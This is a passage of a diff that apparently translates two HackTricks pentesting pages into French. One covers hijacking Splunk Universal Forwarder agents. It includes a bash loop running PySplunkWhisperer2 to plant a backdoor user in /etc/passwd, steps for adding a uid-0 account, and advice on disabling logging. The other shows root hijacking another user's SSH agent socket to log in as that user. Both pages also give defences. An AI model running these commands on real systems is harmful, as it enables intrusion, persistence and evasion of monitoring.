seraient plus envoyés au serveur Splunk et un attaquant pourrait l'utiliser pour masquer ses attaques. La capture d'écran suivante montre l'agent Universal Forwarder, cette page initiale est accessible sans authentification et peut être utilisée pour énumérer les hôtes exécutant Splunk Universal Forwarder. ![0](https://eapolsniper.github.io/assets/2020AUG14/11\_SplunkAgent.png) -Splunk documentaiton shows using the same Universal Forwarding password for all agents, I don’t remember for sure if this is a requirement or if individual passwords can be set for each agent, but based on documentaiton and memory from when I was a Splunk admin, I believe all agents must use the same password. This means if the password is found or cracked on one system, it is likely to work on all Splunk UF hosts. This has been my personal experience, allowing compromise of hundreds of hosts quickly. +La documentation Splunk montre l'utilisation du même mot de passe de transfert universel pour tous les agents, je ne me souviens pas avec certitude si c'est une exigence ou si des mots de passe individuels peuvent être définis pour chaque agent, mais sur la base de la documentation et de la mémoire de quand j'étais un administrateur Splunk, je crois que tous les agents doivent utiliser le même mot de passe. Cela signifie que si le mot de passe est trouvé ou craqué sur un système, il est susceptible de fonctionner sur tous les hôtes Splunk UF. Cela a été mon expérience personnelle, permettant la compromission de centaines d'hôtes rapidement. -## Common Password Locations +## Emplacements de mot de passe courants -I often find the Splunk Universal Forwarding agent plain text password in the following locations on networks: +Je trouve souvent le mot de passe en texte clair de l'agent de transfert universel Splunk aux emplacements suivants sur les réseaux : -1. Active Directory Sysvol/domain.com/Scripts directory. Administrators store the executible and the password together for efficient agent installation. -2. Network file shares hosting IT installation files -3. Wiki or other build note repositories on internal network +1. Répertoire Active Directory Sysvol/domain.com/Scripts. Les administrateurs stockent l'exécutable et le mot de passe ensemble pour une installation efficace de l'agent. +2. Partages de fichiers réseau hébergeant des fichiers d'installation IT +3. Wiki ou autres référentiels de notes de construction sur le réseau interne -The password can also be accessed in hashed form in Program Files\Splunk\etc\passwd on Windows hosts, and in /opt/Splunk/etc/passwd on Linux and Unix hosts. An attacker can attempt to crack the password using Hashcat, or rent a cloud cracking environment to increase liklihood of cracking the hash. The password is a strong SHA-256 hash and as such a strong, random password is unlikely to be cracked. +Le mot de passe peut également être accédé sous forme de hachage dans Program Files\Splunk\etc\passwd sur les hôtes Windows, et dans /opt/Splunk/etc/passwd sur les hôtes Linux et Unix. Un attaquant peut tenter de craquer le mot de passe en utilisant Hashcat, ou louer un environnement de craquage en nuage pour augmenter la probabilité de craquer le hachage. Le mot de passe est un hachage SHA-256 fort et, en tant que tel, un mot de passe fort et aléatoire est peu susceptible d'être craqué. ## Impact: -An attacker with a Splunk Universal Forward Agent password can fully compromise all Splunk hosts in the network and gain SYSTEM or root level permissions on each host. I have successfully used the Splunk agent on Windows, Linux, and Solaris Unix hosts. This vulnerability could allow system credentials to be dumped, sensitive data to be exfiltrated, or ransomware to be installed. This vulnerability is fast, easy to use, and reliable. - -Since Splunk handles logs, an attacker could reconfigure the Universal Forwarder on the first command run to change the Forwarder location, disabling logging to the Splunk SIEM. This would drastically reduce the chances of being caught by the client Blue Team. - -Splunk Universal Forwarder is often seen installed on Domain Controllers for log collection, which could easily allow an attacker to extract the NTDS file, disable antivirus for further exploitation, and/or modify the domain. - -Finally, the Universal Forwarding Agent does not require a license, and can be configured with a password stand alone. As such an attacker can install Universal Forwarder as a backdoor persistence mechanism on hosts, since it is a legitimate application which customers, even those who do not use Splunk, are not likely to remove. - -## Evidence: - -To show an exploitation example I set up a test environment using the latest Splunk version for both the Enterprise Server and the Universal Forwarding agent. A total of 10 images have been attached to this report, showing the following: - -1- Requesting the /etc/passwd file through PySplunkWhisper2 - -![1](https://eapolsniper.github.io/assets/2020AUG14/1\_RequestingPasswd.png) - -2- Receiving the /etc/passwd file on the attacker system through Netcat - -![2](https://eapolsniper.github.io/assets/2020AUG14/2\_ReceivingPasswd.png) - -3- Requesting the /etc/shadow file through PySplunkWhisper2 - -![3](https://eapolsniper.github.io/assets/2020AUG14/3\_RequestingShadow.png) - -4- Receiving the /etc/shadow file on the attacker system through Netcat - -![4](https://eapolsniper.github.io/assets/2020AUG14/4\_ReceivingShadow.png) - -5- Adding the user attacker007 to the /etc/passwd file - -![5](https://eapolsniper.github.io/assets/2020AUG14/5\_AddingUserToPasswd.png) - -6- Adding the user attacker007 to the /etc/shadow file - -![6](https://eapolsniper.github.io/assets/2020AUG14/6\_AddingUserToShadow.png) - -7- Receiving the new /etc/shadow file showing attacker007 is successfully added - -![7](https://eapolsniper.github.io/assets/2020AUG14/7\_ReceivingShadowFileAfterAdd.png) - -8- Confirming SSH access to the victim using the attacker007 account - -![8](https://eapolsniper.github.io/assets/2020AUG14/8\_SSHAccessUsingAttacker007.png) - -9- Adding a backdoor root account with username root007, with the uid/gid set to 0 - -![9](https://eapolsniper.github.io/assets/2020AUG14/9\_AddingBackdoorRootAccount.png) - -10- Confirming SSH access using attacker007, and then escalating to root using root007 - -![10](https://eapolsniper.github.io/assets/2020AUG14/10\_EscalatingToRoot.png) - -At this point I have persistent access to the host both through Splunk and through the two user accounts created, one of which provides root. I can disable remote logging to cover my tracks and continue attacking the system and network using this host. - -Scripting PySplunkWhisperer2 is very easy and effective. - -1. Create a file with IP’s of hosts you want to exploit, example name ip.txt -2. Run the following: - +Un attaquant avec un mot de passe d'agent de transfert universel Splunk peut compromettre complètement tous les hôtes Splunk du réseau et obtenir des autorisations de niveau SYSTEM ou root sur chaque hôte. J'ai utilisé avec succès l'agent Splunk sur des hôtes Windows, Linux et Solaris Unix. Cette vulnérabilité pourrait permettre de récupérer les informations d'identification du système, d'exfiltrer des données sensibles ou d'installer des rançongiciels. Cette vulnérabilité est rapide, facile à utiliser et ```bash for i in `cat ip.txt`; do python PySplunkWhisperer2_remote.py --host $i --port 8089 --username admin --password "12345678" --payload "echo 'attacker007:x:1003:1003::/home/:/bin/bash' >> /etc/passwd" --lhost 192.168.42.51;done ``` +Informations sur l'hôte : -Host information: +Serveur Splunk Enterprise : 192.168.42.114\ +Victime de l'agent Splunk Forwarder : 192.168.42.98\ +Attaquant : 192.168.42.51 -Splunk Enterprise Server: 192.168.42.114\ -Splunk Forwarder Agent Victim: 192.168.42.98\ -Attacker:192.168.42.51 +Version de Splunk Enterprise : 8.0.5 (la plus récente au 12 août 2020 - jour de la configuration du laboratoire)\ +Version de l'Universal Forwarder : 8.0.5 (la plus récente au 12 août 2020 - jour de la configuration du laboratoire) -Splunk Enterprise version: 8.0.5 (latest as of August 12, 2020 – day of lab setup)\ -Universal Forwarder version: 8.0.5 (latest as of August 12, 2020 – day of lab setup) +### Recommandations de remédiation pour Splunk, Inc : -### Remediation Recommendation’s for Splunk, Inc: +Je recommande de mettre en œuvre toutes les solutions suivantes pour fournir une défense en profondeur : -I recommend implementing all of the following solutions to provide defense in depth: +1. Idéalement, l'agent Universal Forwarder ne devrait pas avoir de port ouvert du tout, mais plutôt interroger le serveur Splunk à intervalles réguliers pour obtenir des instructions. +2. Activer l'authentification mutuelle TLS entre les clients et le serveur, en utilisant des clés individuelles pour chaque client. Cela fournirait une sécurité bidirectionnelle très élevée entre tous les services Splunk. L'authentification mutuelle TLS est largement mise en œuvre dans les agents et les appareils IoT, c'est l'avenir de la communication client-serveur de périphériques de confiance. +3. Envoyer tous les fichiers de code, de ligne unique ou de script, dans un fichier compressé qui est chiffré et signé par le serveur Splunk. Cela ne protège pas les données de l'agent envoyées via l'API, mais protège contre l'exécution de code à distance malveillant d'un tiers. -1. Ideally, the Universal Forwarder agent would not have a port open at all, but rather would poll the Splunk server at regular intervals for instructions. -2. Enable TLS mutual authentication between the clients and server, using individual keys for each client. This would provide very high bi-directional security between all Splunk services. TLS mutual authentication is being heavily implemented in agents and IoT devices, this is the future of trusted device client to server communication. -3. Send all code, single line or script files, in a compressed file which is encrypted and signed by the Splunk server. This does not protect the agent data sent through the API, but protects against malicious Remote Code Execution from a 3rd party. +### Recommandations de remédiation pour les clients Splunk : -### Remediation Recommendation’s for Splunk customers: +1. Assurez-vous qu'un mot de passe très fort est défini pour les agents Splunk. Je recommande au moins un mot de passe aléatoire de 15 caractères, mais comme ces mots de passe ne sont jamais saisis, cela pourrait être défini sur un mot de passe très long, tel que 50 caractères. +2. Configurez des pare-feux basés sur l'hôte pour n'autoriser les connexions au port 8089/TCP (port de l'agent Universal Forwarder) que depuis le serveur Splunk. -1. Ensure a very strong password is set for Splunk agents. I recommend at least a 15-character random password, but since these passwords are never typed this could be set to a very large password such as 50 characters. -2. Configure host based firewalls to only allow connections to port 8089/TCP (Universal Forwarder Agent’s port) from the Splunk server. +## Recommandations pour l'équipe Red : -## Recommendations for Red Team: +1. Téléchargez une copie de l'Universal Forwarder Splunk pour chaque système d'exploitation, car c'est un excellent implant léger signé. Bon à garder une copie au cas où Splunk corrigerait réellement cela. -1. Download a copy of Splunk Universal Forwarder for each operating system, as it is a great light weight signed implant. Good to keep a copy incase Splunk actually fixes this. +## Exploits/Blogs d'autres chercheurs -## Exploits/Blogs from other researchers - -Usable public exploits: +Exploits publics utilisables : * https://github.com/cnotin/SplunkWhisperer2/tree/master/PySplunkWhisperer2 * https://www.exploit-db.com/exploits/46238 * https://www.exploit-db.com/exploits/46487 -Related blog posts: +Articles de blog connexes : * https://clement.notin.org/blog/2019/02/25/Splunk-Universal-Forwarder-Hijacking-2-SplunkWhisperer2/ * https://medium.com/@airman604/splunk-universal-forwarder-hijacking-5899c3e0e6b2 * https://www.hurricanelabs.com/splunk-tutorials/using-splunk-as-an-offensive-security-tool -_** Note: **_ This issue is a serious issue with Splunk systems and it has been exploited by other testers for years. While Remote Code Execution is an intended feature of Splunk Universal Forwarder, the implimentaion of this is dangerous. I attempted to submit this bug via Splunk’s bug bounty program in the very unlikely chance they are not aware of the design implications, but was notified that any bug submissions implement the Bug Crowd/Splunk disclosure policy which states no details of the vulnerability may be discussed publically _ever_ without Splunk’s permission. I requested a 90 day disclosure timeline and was denied. As such, I did not responsibly disclose this since I am reasonably sure Splunk is aware of the issue and has chosen to ignore it, I feel this could severely impact companies, and it is the responsibility of the infosec community to educate businesses. - - -
- -☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 - -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! - -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) - -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) - -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** - -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. - -
- - +_** Note : **_ Ce problème est un problème grave avec les systèmes Splunk et il a été exploité par d'autres testeurs depuis des années. Bien que l'exécution de code à distance soit une fonctionnalité prévue de l'Universal Forwarder Splunk, la mise en œuvre de celle-ci est dangereuse. J'ai tenté de soumettre ce bogue via le programme de primes de bogues de Splunk dans la très improbable chance qu'ils ne soient pas conscients des implications de conception, mais j'ai été informé que toutes les soumissions de bogues mettent en œuvre la politique de divulgation Bug Crowd/Splunk qui stipule que aucun détail de la vulnérabilité ne peut être discuté publiquement _jamais_ sans la permission de Splunk. J'ai demandé un délai de divulgation de 90 jours et j'ai été refusé. En tant que tel, je n'ai pas divulgué cela de manière responsable car je suis raisonnablement sûr que Splunk est conscient du problème et a choisi de l'ignorer, je pense que cela pourrait avoir un impact grave sur les entreprises et il est de la responsabilité de la communauté de l'infosec d'éduquer les entreprises. diff --git a/linux-hardening/privilege-escalation/ssh-forward-agent-exploitation.md b/linux-hardening/privilege-escalation/ssh-forward-agent-exploitation.md index c308551e0..bbd35c028 100644 --- a/linux-hardening/privilege-escalation/ssh-forward-agent-exploitation.md +++ b/linux-hardening/privilege-escalation/ssh-forward-agent-exploitation.md @@ -1,80 +1,56 @@ +# Résumé - -
- -☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 - -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! - -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) - -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) - -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** - -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. - -
- - -# Summary - -What can you do if you discover inside the `/etc/ssh_config` or inside `$HOME/.ssh/config` configuration this: - +Que pouvez-vous faire si vous découvrez dans la configuration `/etc/ssh_config` ou dans la configuration `$HOME/.ssh/config` ceci : ``` ForwardAgent yes ``` +Si vous êtes root à l'intérieur de la machine, vous pouvez probablement **accéder à toute connexion ssh effectuée par n'importe quel agent** que vous pouvez trouver dans le répertoire _/tmp_. -If you are root inside the machine you can probably **access any ssh connection made by any agent** that you can find in the _/tmp_ directory - -Impersonate Bob using one of Bob's ssh-agent: - +Faites-vous passer pour Bob en utilisant l'un des ssh-agent de Bob : ```bash SSH_AUTH_SOCK=/tmp/ssh-haqzR16816/agent.16816 ssh bob@boston ``` +## Pourquoi cela fonctionne-t-il? -## Why does this work? +Lorsque vous définissez la variable `SSH_AUTH_SOCK`, vous accédez aux clés de Bob qui ont été utilisées dans la connexion ssh de Bob. Ensuite, si sa clé privée est toujours là (normalement, elle le sera), vous pourrez accéder à n'importe quel hôte en l'utilisant. -When you set the variable `SSH_AUTH_SOCK` you are accessing the keys of Bob that have been used in Bobs ssh connection. Then, if his private key is still there (normally it will be), you will be able to access any host using it. +Comme la clé privée est enregistrée dans la mémoire de l'agent non cryptée, je suppose que si vous êtes Bob mais que vous ne connaissez pas le mot de passe de la clé privée, vous pouvez toujours accéder à l'agent et l'utiliser. -As the private key is saved in the memory of the agent uncrypted, I suppose that if you are Bob but you don't know the password of the private key, you can still access the agent and use it. +Une autre option est que l'utilisateur propriétaire de l'agent et root peut accéder à la mémoire de l'agent et extraire la clé privée. -Another option, is that the user owner of the agent and root may be able to access the memory of the agent and extract the private key. +# Explication longue et exploitation -# Long explanation and exploitation +**Extrait de:** [**https://www.clockwork.com/news/2012/09/28/602/ssh\_agent\_hijacking/**](https://www.clockwork.com/news/2012/09/28/602/ssh\_agent\_hijacking/) -**Taken from:** [**https://www.clockwork.com/news/2012/09/28/602/ssh\_agent\_hijacking/**](https://www.clockwork.com/news/2012/09/28/602/ssh\_agent\_hijacking/) +## **Lorsque ForwardAgent ne peut pas être fait confiance** -## **When ForwardAgent Can’t Be Trusted** +SSH sans mots de passe facilite grandement la vie avec les systèmes d'exploitation de type Unix. Si votre réseau nécessite des sessions ssh en chaîne (pour accéder à un réseau restreint, par exemple), la redirection d'agent devient extrêmement utile. Avec la redirection d'agent, il est possible pour moi de me connecter depuis mon ordinateur portable à mon serveur de développement et de là, exécuter une vérification svn à partir d'un autre serveur, le tout sans mots de passe, tout en gardant ma clé privée en sécurité sur mon poste de travail local. -SSH without passwords makes life with Unix-like operating systems much easier. If your network requires chained ssh sessions (to access a restricted network, for example), agent forwarding becomes extremely helpful. With agent forwarding it’s possible for me to connect from my laptop to my dev server and from there run an svn checkout from yet another server, all without passwords, while keeping my private key safe on my local workstation. +Cependant, cela peut être dangereux. Une recherche rapide sur le web révélera plusieurs articles indiquant que cela n'est sûr que si les hôtes intermédiaires sont dignes de confiance. Rarement, cependant, vous trouverez une explication de _pourquoi_ c'est dangereux. -This can be dangerous, though. A quick web search will reveal several articles indicating this is only safe if the intermediate hosts are trustworthy. Rarely, however, will you find an explanation of _why_ it’s dangerous. +C'est à cela que sert cet article. Mais d'abord, un peu de contexte. -That’s what this article is for. But first, some background. +## **Comment fonctionne l'authentification sans mot de passe** -## **How Passwordless Authentication Works** +Lors de l'authentification en mode normal, SSH utilise votre mot de passe pour prouver que vous êtes qui vous prétendez être. Le serveur compare un hachage de ce mot de passe à celui qu'il a enregistré, vérifie que les hachages correspondent, et vous laisse entrer. -When authenticating in normal mode, SSH uses your password to prove that you are who you say you are. The server compares a hash of this password to one it has on file, verifies that the hashes match, and lets you in. +Si un attaquant est capable de casser le chiffrement utilisé pour protéger votre mot de passe pendant qu'il est envoyé au serveur, il peut le voler et se connecter en tant que vous quand il le souhaite. Si un attaquant est autorisé à effectuer des centaines de milliers de tentatives, il peut finalement deviner votre mot de passe. -If an attacker is able to break the encryption used to protect your password while it’s being sent to the server, they can steal the it and log in as you whenever they desire. If an attacker is allowed to perform hundreds of thousands of attempts, they can eventually guess your password. +Une méthode d'authentification beaucoup plus sûre est l'authentification par clé publique, une façon de se connecter sans mot de passe. L'authentification par clé publique nécessite une paire de clés publique et privée assorties. La clé publique chiffre des messages qui ne peuvent être déchiffrés qu'avec la clé privée. L'ordinateur distant utilise sa copie de votre clé publique pour chiffrer un message secret pour vous. Vous prouvez que vous êtes vous en déchiffrant le message à l'aide de votre clé privée et en renvoyant le message à l'ordinateur distant. Votre clé privée reste en sécurité sur votre ordinateur local tout le temps, à l'abri des attaques. -A much safer authentication method is [public key authentication](http://www.ibm.com/developerworks/library/l-keyc/index.html), a way of logging in without a password. Public key authentication requires a matched pair of public and private keys. The public key encrypts messages that can only be decrypted with the private key. The remote computer uses its copy of your public key to encrypt a secret message to you. You prove you are you by decrypting the message using your private key and sending the message back to the remote computer. Your private key remains safely on your local computer the entire time, safe from attack. +La clé privée est précieuse et doit être protégée, donc par défaut elle est stockée dans un format crypté. Malheureusement, cela signifie entrer votre phrase de passe de chiffrement avant de l'utiliser. De nombreux articles suggèrent d'utiliser des clés privées sans phrase de passe (non cryptées) pour éviter cette inconvénient. C'est une mauvaise idée, car quiconque a accès à votre poste de travail (par accès physique, vol ou piratage) a maintenant également un accès gratuit à tous les ordinateurs configurés avec votre clé publique. -The private key is valuable and must be protected, so by default it is stored in an encrypted format. Unfortunately this means entering your encryption passphrase before using it. Many articles suggest using passphrase-less (unencrypted) private keys to avoid this inconvenience. That’s a bad idea, as anyone with access to your workstation (via physical access, theft, or hackery) now also has free access to any computers configured with your public key. +OpenSSH inclut [ssh-agent](http://www.openbsd.org/cgi-bin/man.cgi?query=ssh-agent), un démon qui s'exécute sur votre poste de travail local. Il charge une copie déchiffrée de votre clé privée en mémoire, de sorte que vous n'avez à entrer votre phrase de passe qu'une seule fois. Il fournit ensuite un [socket](http://en.wikipedia.org/wiki/Unix\_domain\_socket) local que le client ssh peut utiliser pour lui demander de déchiffrer le message crypté renvoyé par le serveur distant. Votre clé privée reste en sécurité dans la mémoire du processus ssh-agent tout en vous permettant de naviguer dans ssh sans taper de mots de passe. -OpenSSH includes [ssh-agent](http://www.openbsd.org/cgi-bin/man.cgi?query=ssh-agent), a daemon that runs on your local workstation. It loads a decrypted copy of your private key into memory, so you only have to enter your passphrase once. It then provides a local [socket](http://en.wikipedia.org/wiki/Unix\_domain\_socket) that the ssh client can use to ask it to decrypt the encrypted message sent back by the remote server. Your private key stays safely ensconced in the ssh-agent process’ memory while still allowing you to ssh around without typing in passwords. +## **Comment ForwardAgent fonctionne** -## **How ForwardAgent Works** +De nombreuses tâches nécessitent des sessions ssh en chaîne. Considérez mon exemple précédent : je me connecte en ssh depuis mon poste de travail vers le serveur de développement. Là-bas, je dois effectuer une mise à jour svn, en utilisant le protocole "svn+ssh". Comme il serait stupide de laisser une copie non cryptée de ma clé privée super-secrète sur un serveur partagé, je suis maintenant bloqué avec l'authentification par mot de passe. Si, cependant, j'ai activé "ForwardAgent" dans la configuration ssh sur mon poste de travail, ssh utilise ses capacités de tunnelisation intégrées pour créer un autre socket sur le serveur de développement qui est tunnelisé de retour vers le socket ssh-agent sur mon poste de travail local. Cela signifie que le client ssh sur le serveur de développement peut maintenant envoyer des demandes de "déchiffrer ce message secret" directement à l'agent ssh en cours d'exécution sur mon poste de travail, s'authentifiant auprès du serveur svn sans jamais avoir accès à ma clé privée. -Many tasks require “chaining” ssh sessions. Consider my example from earlier: I ssh from my workstation to the dev server. While there, I need to perform an svn update, using the “svn+ssh” protocol. Since it would be silly to leave an unencrypted copy of my super-secret private key on a shared server, I’m now stuck with password authentication. If, however, I enabled “ForwardAgent” in the ssh config on my workstation, ssh uses its built-in tunneling capabilities to create another socket on the dev server that is tunneled back to the ssh-agent socket on my local workstation. This means that the ssh client on the dev server can now send “decrypt this secret message” requests directly back to the ssh-agent running on my workstation, authenticating itself to the svn server without ever having access to my private key. +## **Pourquoi cela peut être dangereux** -## **Why This Can Be Dangerous** - -Simply put, anyone with root privilege on the the intermediate server can make free use of your ssh-agent to authenticate them to other servers. A simple demonstration shows how trivially this can be done. Hostnames and usernames have been changed to protect the innocent. - -My laptop is running ssh-agent, which communicates with the ssh client programs via a socket. The path to this socket is stored in the SSH\_AUTH\_SOCK environment variable: +En bref, toute personne disposant de privilèges root sur le serveur intermédiaire peut utiliser gratuitement votre ssh-agent pour s'authentifier auprès d'autres serveurs. Une démonstration simple montre à quel point cela peut être trivial. Les noms d'hôtes et d'utilisateurs ont été modifiés pour protéger les innocents. +Mon ordinateur portable exécute ssh-agent, qui communique avec les programmes clients ssh via un socket. Le chemin de ce socket est stocké dans la variable d'environnement SSH_AUTH_SOCK: ``` mylaptop:~ env|grep SSH_AUTH_SOCK SSH_AUTH_SOCK=/tmp/launch-oQKpeY/Listeners @@ -82,32 +58,24 @@ SSH_AUTH_SOCK=/tmp/launch-oQKpeY/Listeners mylaptop:~ ls -l /tmp/launch-oQKpeY/Listeners srwx------ 1 alice wheel 0 Apr 3 11:04 /tmp/launch-oQKpeY/Listeners ``` - -The [ssh-add](http://www.openbsd.org/cgi-bin/man.cgi?query=ssh-add) program lets us view and interact with keys in the agent: - +Le programme [ssh-add](http://www.openbsd.org/cgi-bin/man.cgi?query=ssh-add) nous permet de visualiser et d'interagir avec les clés dans l'agent : ``` mylaptop:~ alice$ ssh-add -l 2048 2c:2a:d6:09:bb:55:b3:ca:0c:f1:30:f9:d9:a3:c6:9e /Users/alice/.ssh/id_rsa (RSA) ``` - -I have “ForwardAgent yes” in the \~/.ssh/config on my laptop. So ssh is going to create a tunnel connecting the local socket to a local socket on the remote server: - +J'ai "ForwardAgent yes" dans le fichier \~/.ssh/config sur mon ordinateur portable. Ainsi, ssh va créer un tunnel reliant le socket local à un socket local sur le serveur distant : ``` mylaptop:~ alice$ ssh seattle seattle:~ $ env|grep SSH_AUTH_SOCK SSH_AUTH_SOCK=/tmp/ssh-WsKcHa9990/agent.9990 ``` - -Even though my keys are not installed on “seattle”, the ssh client programs are still able to access the agent running on my local machine: - +Même si mes clés ne sont pas installées sur "seattle", les programmes clients ssh peuvent toujours accéder à l'agent en cours d'exécution sur ma machine locale : ``` seattle:~ alice $ ssh-add -l 2048 2c:2a:d6:09:bb:55:b3:ca:0c:f1:30:f9:d9:a3:c6:9e /Users/alice/.ssh/id_rsa (RSA) ``` - -So… who can we mess with? - +Alors... Avec qui pouvons-nous jouer ? ``` seattle:~ alice $ who alice pts/0 2012-04-06 18:24 (office.example.com) @@ -119,9 +87,7 @@ charlie pts/23 2012-04-06 13:10 (office.example.com) charlie pts/27 2012-04-03 12:32 (office.example.com) bob pts/29 2012-04-02 10:58 (office.example.com) ``` - -I’ve never liked Bob. To find his agent connection, I need to find the child process of one of his ssh sessions: - +Je n'ai jamais aimé Bob. Pour trouver sa connexion d'agent, je dois trouver le processus enfant d'une de ses sessions ssh : ``` seattle:~ alice $ sudo -s [sudo] password for alice: @@ -131,37 +97,29 @@ sshd(16816)───bash(16817) sshd(25296)───bash(25297)───vim(14308) ``` - -There are several ways for root to view the environment of a running process. On Linux, the data is available in /proc/\/environ. Since it’s stored in NULL-terminated strings, I’ll use tr to convert the NULLs to newlines: - +Il existe plusieurs façons pour root de visualiser l'environnement d'un processus en cours d'exécution. Sur Linux, les données sont disponibles dans /proc/\/environ. Comme elles sont stockées dans des chaînes de caractères terminées par NULL, j'utiliserai tr pour convertir les NULL en sauts de ligne : ``` seattle:~ root # tr '' 'n' < /proc/16817/environ | grep SSH_AUTH_SOCK SSH_AUTH_SOCK=/tmp/ssh-haqzR16816/agent.16816 ``` - -I now have everything I need to know in order to hijack Bob’s ssh-agent: - +J'ai maintenant tout ce dont j'ai besoin pour prendre le contrôle de l'agent ssh de Bob : ``` seattle:~ root # SSH_AUTH_SOCK=/tmp/ssh-haqzR16816/agent.16816 ssh-add -l 2048 05:f1:12:f2:e6:ad:cb:0b:60:e3:92:fa:c3:62:19:17 /home/bob/.ssh/id_rsa (RSA) ``` - -If I happen to have a specific target in mind, I should now be able to connect directly. Otherwise, just watching the process list or grepping through Bob’s history file should present plenty of targets of opportunity. In this case, I know Bob has all sorts of super secret files stored on the server named “boston”: - +Si j'ai une cible spécifique en tête, je devrais maintenant être en mesure de me connecter directement. Sinon, simplement en regardant la liste des processus ou en cherchant dans l'historique de Bob devrait présenter de nombreuses opportunités de cibles. Dans ce cas, je sais que Bob a toutes sortes de fichiers super secrets stockés sur le serveur nommé "boston": ``` seattle:~ root # SSH_AUTH_SOCK=/tmp/ssh-haqzR16816/agent.16816 ssh bob@boston bob@boston:~$ whoami bob ``` +J'ai réussi à utiliser mes privilèges root sur "Seattle" pour accéder en tant que Bob sur "Boston". Je parie que je peux l'utiliser pour le faire virer. -I have succesfully parlayed my root privileges on “seattle” to access as bob on “boston”. I’ll bet I can use that to get him fired. +## **Protégez-vous !** -## **Protect Yourself!** - -Don’t let your ssh-agent store your keys indefinitely. On OS X, configure your Keychain to lock after inactivity or when your screen locks. On other Unix-y platforms, pass the -t option to ssh-agent so its keys will be removed after seconds. - -Don’t enable agent forwarding when connecting to untrustworthy hosts. Fortunately, the \~/.ssh/config syntax makes this fairly simple: +Ne laissez pas votre ssh-agent stocker vos clés indéfiniment. Sur OS X, configurez votre trousseau de clés pour se verrouiller après une période d'inactivité ou lorsque votre écran est verrouillé. Sur d'autres plates-formes Unix, passez l'option -t à ssh-agent afin que ses clés soient supprimées après un certain nombre de secondes. +Ne pas activer la transmission d'agent lors de la connexion à des hôtes non fiables. Heureusement, la syntaxe \~/.ssh/config rend cela assez simple : ``` Host trustworthyhost ForwardAgent yes @@ -171,29 +129,26 @@ Host trustworthyhost Host * ForwardAgent no ``` +## **Lecture recommandée** -## **Recommended Reading** - -* [OpenSSH key management](http://www.ibm.com/developerworks/library/l-keyc/index.html) – Daniel Robbins -* [An Illustrated Guide to SSH Agent Forwarding](http://www.unixwiz.net/techtips/ssh-agent-forwarding.html) – Steve Friedl -* [ssh-agent manual](http://www.openbsd.org/cgi-bin/man.cgi?query=ssh-agent) -* [ssh-add manual](http://www.openbsd.org/cgi-bin/man.cgi?query=ssh-add) +* [Gestion des clés OpenSSH](http://www.ibm.com/developerworks/library/l-keyc/index.html) – Daniel Robbins +* [Guide illustré de la redirection de l'agent SSH](http://www.unixwiz.net/techtips/ssh-agent-forwarding.html) – Steve Friedl +* [Manuel ssh-agent](http://www.openbsd.org/cgi-bin/man.cgi?query=ssh-agent) +* [Manuel ssh-add](http://www.openbsd.org/cgi-bin/man.cgi?query=ssh-add)
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 